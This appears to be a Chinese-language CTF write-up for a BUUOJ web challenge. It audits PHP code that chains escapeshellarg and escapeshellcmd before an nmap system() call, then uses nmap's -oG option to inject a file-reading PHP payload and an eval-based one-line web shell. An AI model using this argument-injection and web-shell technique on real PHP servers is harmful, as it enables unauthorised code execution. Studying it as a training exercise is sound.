题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,看到源码
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
第二步:代码审计
- escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号。详细解释点这里
- escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。详细解释点这里
- 测试经过两次转义后的字符串
代码:
<?phphighlight_file(__FILE__);$host1 = $_GET['host'];$host2 = escapeshellarg($host1);$host3 = escapeshellcmd($host2);echo $host1."<br>".$host2."<br>".$host3."<br>";echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host3;
?>
结果:
123
'123'
'123'
nmap -T5 -sT -Pn --host-timeout 2 -F '123'
- 如果将输入的字符串使用单引号包裹起来,让本身的单引号形成闭合,就像sql注入一样,这样我们输入的就不是字符串而是命令,输入:host=‘123’
结果
'123'
''\''123'\''' ''\\''123'\\''' nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''123'\\'''
5.可以F后面单引号形成了闭合表示空,而\\''
的转移步骤:\\转移成了\,而\和后面的'转移成了',最后结果为''表示空
,‘\\'''
的转移步骤:保留第一个',\\'''同理变成'''正好和前一个'形成两个闭合
,这样123就变成了命令而不是字符串。
第三步:构建漏洞语句
- nmap有个参数-oG可以使扫描结果保存为指定名字的文件。
- 构建
host=' <?php echo 'cat /flag'?> -oG 1.php '
之后访问1.php就可以获取flag了echo后面不是单引号,单引号会被加上\,是~键的反引号,单引号内的内容需要空格和单引号隔开。 - 或者构建
host=' <?php @eval($_POST["pass"]);?> -oG 1.php '
上传一句话木马,之后通过蚁剑连接后查找flag。
第四步:获取flag
-
输入
host=' <?php echo 'cat /flag'?> -oG 1.php '
之后,得到文件存放地址
-
之后访问
a7b2b664243bdf09839e302ca8016d16/1.php
即可得到flag
-
输入
host=' <?php @eval($_POST["pass"]);?> -oG 2.php '
,上传一句话木马
-
使用蚁剑连接
http://82ef4865-88fd-4c18-8321-d8ef4afa4085.node3.buuoj.cn/a7b2b664243bdf09839e302ca8016d16/2.php
,获取flag